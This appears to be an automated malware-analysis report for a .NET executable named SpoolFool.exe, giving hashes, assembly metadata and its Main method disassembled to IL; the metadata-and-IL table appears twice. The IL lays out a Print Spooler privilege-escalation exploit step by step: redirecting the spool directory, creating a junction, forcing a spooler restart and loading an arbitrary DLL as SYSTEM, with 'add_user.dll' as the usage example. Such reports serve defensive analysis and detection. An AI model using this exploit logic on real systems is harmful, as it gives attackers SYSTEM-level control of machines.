31eb70dc11af05ec4d5cda652396970c
PE Executable | MD5: 31eb70dc11af05ec4d5cda652396970c | Size: 17.92 KB | application/x-dosexec
Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | 31eb70dc11af05ec4d5cda652396970c
|
| Sha1 | 2aee1f5306e38d080d16a96b6c23895ffc6ee2fc
|
| Sha256 | c0a7a797f39b509fd2d895b5731e79b57b350b85b20be5a51c0a1bda19321bd0
|
| Sha384 | feaefdb02f56b2df60c19438c5542b59b414acbc9d0356c673f55c5ebcbbb71fa6cd2886688a68c80360f3006b68a4d9
|
| Sha512 | a0a0daf86dc8c93a5bafabc6d2071f4c7c54f5a7504665784bf2713a8f43ef809684a638c1ce7885af8b7da779af514c32f7022c07cc02e30154949daa6d8c9d
|
| SSDeep | 384:roOvdiW1r56eepTYYmz5v+QZ3ENfK1SVqxd44VgW5:9se5GdhtWR
|
| TLSH | E2822B86B7FC8725F8FD97B9ADB306114772B9629D34DB2E0089229F0D36741C412BB2
|
PeID
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Info | PDB Path: Z:\predator\SpoolFool\SpoolFool\obj\Release\SpoolFool.pdb |
| Module Name | SpoolFool.exe |
| Full Name | SpoolFool.exe |
| EntryPoint | System.Void SpoolFool.Program::Main(System.String[]) |
| Scope Name | SpoolFool.exe |
| Scope Type | ModuleDef |
| Kind | Console |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | SpoolFool |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.5.2 |
| Total Strings | 78 |
| Main Method | System.Void SpoolFool.Program::Main(System.String[]) |
| Main IL Instruction Count | 342 |
| Main IL | call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() stloc.0 <null> ldarg.0 <null> brfalse.s IL_0016: call System.Void System.Console::WriteLine() ldarg.0 <null> call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>) brtrue.s IL_006B: ldstr "Microsoft XPS Document Writer v4" call System.Void System.Console::WriteLine() ldstr SpoolFool call System.Void System.Console::WriteLine(System.String) ldstr By Oliver Lyak (@ly4k_) call System.Void System.Console::WriteLine(System.String) call System.Void System.Console::WriteLine() ldstr Examples: call System.Void System.Console::WriteLine(System.String) ldstr {0} -dll add_user.dll ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr Microsoft XPS Document Writer v4 stloc.1 <null> ldstr 4 stloc.2 <null> ldstr stloc.3 <null> ldloca.s V_4 ldc.i4.0 <null> call System.Void System.IntPtr::.ctor(System.Int32) ldarg.0 <null> ldsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 dup <null> brtrue.s IL_00A5: call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) pop <null> ldsfld SpoolFool.Program/<>c SpoolFool.Program/<>c::<>9 ldftn <>f__AnonymousType0`2<System.Int32,System.String> SpoolFool.Program/<>c::<Main>b__2_0(System.String,System.Int32) newobj System.Void System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) callvirt System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>>::GetEnumerator() stloc.s V_13 br IL_014B: ldloc.s V_13 ldloc.s V_13 callvirt <>f__AnonymousType0`2<System.Int32,System.String> System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>>::get_Current() stloc.s V_14 ldloc.s V_14 callvirt System.String <>f__AnonymousType0`2<System.Int32,System.String>::get_value() callvirt System.String System.String::ToUpper() stloc.s V_15 ldloc.s V_15 ldstr -PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr /PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr -DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr /DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr -DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 ldloc.s V_15 ldstr /DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.1 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.2 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.3 <null> ldloc.s V_13 callvirt System.Boolean System.Collections.IEnumerator::MoveNext() brtrue IL_00B6: ldloc.s V_13 leave.s IL_0165: ldloc.3 ldloc.s V_13 brfalse.s IL_0164: endfinally ldloc.s V_13 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_017D: ldloc.3 ldstr [-] Please specify a DLL call System.Void System.Console::WriteLine(System.String) ret <null> ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_0191: ldloc.2 ldstr [-] Could not find DLL: {0} ldloc.3 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldloc.2 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_01D2: call System.String System.IO.Path::GetTempPath() ldstr { call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() callvirt System.String System.String::ToUpper() ldstr } call System.String System.String::Concat(System.String,System.String,System.String) stloc.2 <null> ldstr [*] Generating random driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) call System.String System.IO.Path::GetTempPath() call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 call System.String SpoolFool.Printer::GetDriverDirectory() stloc.s V_6 ldloc.s V_6 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_7 ldstr \\localhost\C$\ ldloc.s V_5 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) ldc.i4.3 <null> callvirt System.String System.String::Substring(System.Int32) call System.String System.String::Concat(System.String,System.String) stloc.s V_8 ldloc.3 <null> call System.String System.IO.Path::GetFileName(System.String) stloc.s V_9 ldloc.s V_7 ldloc.s V_9 call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_10 ldstr [*] Using printer name: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Using driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_5 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr [*] Using temporary base directory: {0} ldloc.s V_5 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brtrue.s IL_02B4: ldstr "[+] Opened existing printer: {0}" ldstr [*] Failed to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> call System.IntPtr SpoolFool.Printer::CreatePrinter(System.String) stloc.s V_4 ldloc.s V_4 ldsfld System.IntPtr System.IntPtr::Zero call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr) brfalse.s IL_02A7: ldstr "[+] Created printer: {0}" ldstr [-] Failed to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [+] Created printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_02BF: ldloc.s V_7 ldstr [+] Opened existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_02D9: ldstr "[*] Setting spool directory to: {0}" ldstr [*] Target directory already exists ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [*] Setting spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr \ ldstr SpoolDirectory ldc.i4.1 <null> ldloc.s V_8 ldloc.s V_8 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) brtrue.s IL_0310: ldstr "[-] Failed to set the spool directory to: {0}" ldstr [+] Successfully set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_031D: ldstr "[*] Creating junction point: {0} -> {1}" ldstr [-] Failed to set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Creating junction point: {0} -> {1} ldloc.s V_5 ldloc.s V_6 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_5 ldloc.s V_6 ldc.i4.1 <null> call System.Void SpoolFool.JunctionPoint::Create(System.String,System.String,System.Boolean) ldstr C:\Windows\System32\AppVTerminator.dll stloc.s V_11 ldstr [*] Forcing spooler to restart call System.Void System.Console::WriteLine(System.String) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_11 ldloc.s V_11 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] Waiting for spooler to restart call System.Void System.Console::Write(System.String) ldc.i4 2000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldstr . call System.Void System.Console::Write(System.String) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brfalse.s IL_036C: ldc.i4 2000 ldstr call System.Void System.Console::WriteLine(System.String) ldstr [+] Spooler restarted call System.Void System.Console::WriteLine(System.String) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_03B5: ldstr "[-] Failed to create driver directory: {0}" ldstr [+] Successfully created driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [-] Failed to create driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Copying DLL: {0} -> {1} ldloc.3 <null> ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_10 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_03F7: ldloc.3 ldstr [*] DLL already exists: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to delete DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Void System.IO.File::Delete(System.String) ldloc.3 <null> ldloc.s V_10 call System.Void System.IO.File::Copy(System.String,System.String) ldstr [*] Granting read and execute to SYSTEM on DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String) stloc.s V_12 ldloc.s V_12 ldstr System ldc.i4 131241 ldc.i4.0 <null> newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType) callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule) ldloc.s V_10 ldloc.s V_12 call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity) ldstr [*] Loading DLL as SYSTEM: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_10 ldloc.s V_10 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] DLL should be loaded call System.Void System.Console::WriteLine(System.String) ldloc.s V_5 call System.Void System.IO.Directory::Delete(System.String) ret <null> |
| Module Name | SpoolFool.exe |
| Full Name | SpoolFool.exe |
| EntryPoint | System.Void SpoolFool.Program::Main(System.String[]) |
| Scope Name | SpoolFool.exe |
| Scope Type | ModuleDef |
| Kind | Console |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | SpoolFool |
| Assembly Version | 1.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | .NETFramework,Version=v4.5.2 |
| Total Strings | 78 |
| Main Method | System.Void SpoolFool.Program::Main(System.String[]) |
| Main IL Instruction Count | 342 |
| Main IL | call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() callvirt System.String System.Reflection.Assembly::get_Location() stloc.0 <null> ldarg.0 <null> brfalse.s IL_0016: call System.Void System.Console::WriteLine() ldarg.0 <null> call System.Boolean System.Linq.Enumerable::Any<System.String>(System.Collections.Generic.IEnumerable`1<System.String>) brtrue.s IL_006B: ldstr "Microsoft XPS Document Writer v4" call System.Void System.Console::WriteLine() ldstr SpoolFool call System.Void System.Console::WriteLine(System.String) ldstr By Oliver Lyak (@ly4k_) call System.Void System.Console::WriteLine(System.String) call System.Void System.Console::WriteLine() ldstr Examples: call System.Void System.Console::WriteLine(System.String) ldstr {0} -dll add_user.dll ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr {0} -dll add_user.dll -printer 'My Printer' -dir 'SECRET' ldloc.0 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr Microsoft XPS Document Writer v4 stloc.1 <null> ldstr 4 stloc.2 <null> ldstr stloc.3 <null> ldloca.s V_4 ldc.i4.0 <null> call System.Void System.IntPtr::.ctor(System.Int32) ldarg.0 <null> ldsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 dup <null> brtrue.s IL_00A5: call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) pop <null> ldsfld SpoolFool.Program/<>c SpoolFool.Program/<>c::<>9 ldftn <>f__AnonymousType0`2<System.Int32,System.String> SpoolFool.Program/<>c::<Main>b__2_0(System.String,System.Int32) newobj System.Void System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>> SpoolFool.Program/<>c::<>9__2_0 call System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Linq.Enumerable::Select<System.String,<>f__AnonymousType0`2<System.Int32,System.String>>(System.Collections.Generic.IEnumerable`1<System.String>,System.Func`3<System.String,System.Int32,<>f__AnonymousType0`2<System.Int32,System.String>>) callvirt System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>> System.Collections.Generic.IEnumerable`1<<>f__AnonymousType0`2<System.Int32,System.String>>::GetEnumerator() stloc.s V_13 br IL_014B: ldloc.s V_13 ldloc.s V_13 callvirt <>f__AnonymousType0`2<System.Int32,System.String> System.Collections.Generic.IEnumerator`1<<>f__AnonymousType0`2<System.Int32,System.String>>::get_Current() stloc.s V_14 ldloc.s V_14 callvirt System.String <>f__AnonymousType0`2<System.Int32,System.String>::get_value() callvirt System.String System.String::ToUpper() stloc.s V_15 ldloc.s V_15 ldstr -PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr /PRINTER call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0123: ldarg.0 ldloc.s V_15 ldstr -DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr /DIR call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_0131: ldarg.0 ldloc.s V_15 ldstr -DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 ldloc.s V_15 ldstr /DLL call System.Boolean System.String::op_Equality(System.String,System.String) brtrue.s IL_013F: ldarg.0 br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.1 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.2 <null> br.s IL_014B: ldloc.s V_13 ldarg.0 <null> ldloc.s V_14 callvirt System.Int32 <>f__AnonymousType0`2<System.Int32,System.String>::get_index() ldc.i4.1 <null> add <null> ldelem.ref <null> stloc.3 <null> ldloc.s V_13 callvirt System.Boolean System.Collections.IEnumerator::MoveNext() brtrue IL_00B6: ldloc.s V_13 leave.s IL_0165: ldloc.3 ldloc.s V_13 brfalse.s IL_0164: endfinally ldloc.s V_13 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldloc.3 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_017D: ldloc.3 ldstr [-] Please specify a DLL call System.Void System.Console::WriteLine(System.String) ret <null> ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_0191: ldloc.2 ldstr [-] Could not find DLL: {0} ldloc.3 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldloc.2 <null> ldstr call System.Boolean System.String::op_Equality(System.String,System.String) brfalse.s IL_01D2: call System.String System.IO.Path::GetTempPath() ldstr { call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() callvirt System.String System.String::ToUpper() ldstr } call System.String System.String::Concat(System.String,System.String,System.String) stloc.2 <null> ldstr [*] Generating random driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) call System.String System.IO.Path::GetTempPath() call System.Guid System.Guid::NewGuid() stloc.s V_16 ldloca.s V_16 constrained. System.Guid callvirt System.String System.Object::ToString() call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_5 call System.String SpoolFool.Printer::GetDriverDirectory() stloc.s V_6 ldloc.s V_6 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_7 ldstr \\localhost\C$\ ldloc.s V_5 ldloc.2 <null> call System.String System.IO.Path::Combine(System.String,System.String) ldc.i4.3 <null> callvirt System.String System.String::Substring(System.Int32) call System.String System.String::Concat(System.String,System.String) stloc.s V_8 ldloc.3 <null> call System.String System.IO.Path::GetFileName(System.String) stloc.s V_9 ldloc.s V_7 ldloc.s V_9 call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_10 ldstr [*] Using printer name: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Using driver directory: {0} ldloc.2 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_5 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldstr [*] Using temporary base directory: {0} ldloc.s V_5 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brtrue.s IL_02B4: ldstr "[+] Opened existing printer: {0}" ldstr [*] Failed to open existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.1 <null> call System.IntPtr SpoolFool.Printer::CreatePrinter(System.String) stloc.s V_4 ldloc.s V_4 ldsfld System.IntPtr System.IntPtr::Zero call System.Boolean System.IntPtr::op_Equality(System.IntPtr,System.IntPtr) brfalse.s IL_02A7: ldstr "[+] Created printer: {0}" ldstr [-] Failed to create printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [+] Created printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_02BF: ldloc.s V_7 ldstr [+] Opened existing printer: {0} ldloc.1 <null> call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_02D9: ldstr "[*] Setting spool directory to: {0}" ldstr [*] Target directory already exists ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [*] Setting spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr \ ldstr SpoolDirectory ldc.i4.1 <null> ldloc.s V_8 ldloc.s V_8 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) brtrue.s IL_0310: ldstr "[-] Failed to set the spool directory to: {0}" ldstr [+] Successfully set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_031D: ldstr "[*] Creating junction point: {0} -> {1}" ldstr [-] Failed to set the spool directory to: {0} ldloc.s V_8 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Creating junction point: {0} -> {1} ldloc.s V_5 ldloc.s V_6 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_5 ldloc.s V_6 ldc.i4.1 <null> call System.Void SpoolFool.JunctionPoint::Create(System.String,System.String,System.Boolean) ldstr C:\Windows\System32\AppVTerminator.dll stloc.s V_11 ldstr [*] Forcing spooler to restart call System.Void System.Console::WriteLine(System.String) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_11 ldloc.s V_11 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] Waiting for spooler to restart call System.Void System.Console::Write(System.String) ldc.i4 2000 call System.Void System.Threading.Thread::Sleep(System.Int32) ldstr . call System.Void System.Console::Write(System.String) ldloc.1 <null> ldloca.s V_4 call System.Boolean SpoolFool.Printer::OpenExistingPrinter(System.String,System.IntPtr&) brfalse.s IL_036C: ldc.i4 2000 ldstr call System.Void System.Console::WriteLine(System.String) ldstr [+] Spooler restarted call System.Void System.Console::WriteLine(System.String) ldloc.s V_7 call System.Boolean System.IO.Directory::Exists(System.String) brfalse.s IL_03B5: ldstr "[-] Failed to create driver directory: {0}" ldstr [+] Successfully created driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) br.s IL_03C2: ldstr "[*] Copying DLL: {0} -> {1}" ldstr [-] Failed to create driver directory: {0} ldloc.s V_7 call System.Void System.Console::WriteLine(System.String,System.Object) ret <null> ldstr [*] Copying DLL: {0} -> {1} ldloc.3 <null> ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object,System.Object) ldloc.s V_10 call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_03F7: ldloc.3 ldstr [*] DLL already exists: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldstr [*] Trying to delete DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Void System.IO.File::Delete(System.String) ldloc.3 <null> ldloc.s V_10 call System.Void System.IO.File::Copy(System.String,System.String) ldstr [*] Granting read and execute to SYSTEM on DLL: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_10 call System.Security.AccessControl.FileSecurity System.IO.File::GetAccessControl(System.String) stloc.s V_12 ldloc.s V_12 ldstr System ldc.i4 131241 ldc.i4.0 <null> newobj System.Void System.Security.AccessControl.FileSystemAccessRule::.ctor(System.String,System.Security.AccessControl.FileSystemRights,System.Security.AccessControl.AccessControlType) callvirt System.Void System.Security.AccessControl.FileSystemSecurity::AddAccessRule(System.Security.AccessControl.FileSystemAccessRule) ldloc.s V_10 ldloc.s V_12 call System.Void System.IO.File::SetAccessControl(System.String,System.Security.AccessControl.FileSecurity) ldstr [*] Loading DLL as SYSTEM: {0} ldloc.s V_10 call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_4 ldstr CopyFiles\ ldstr Module ldc.i4.1 <null> ldloc.s V_10 ldloc.s V_10 callvirt System.Int32 System.String::get_Length() call System.Int32 SpoolFool.Printer::SetPrinterDataEx(System.IntPtr,System.String,System.String,System.Int32,System.String,System.Int32) pop <null> ldstr [*] DLL should be loaded call System.Void System.Console::WriteLine(System.String) ldloc.s V_5 call System.Void System.IO.Directory::Delete(System.String) ret <null> |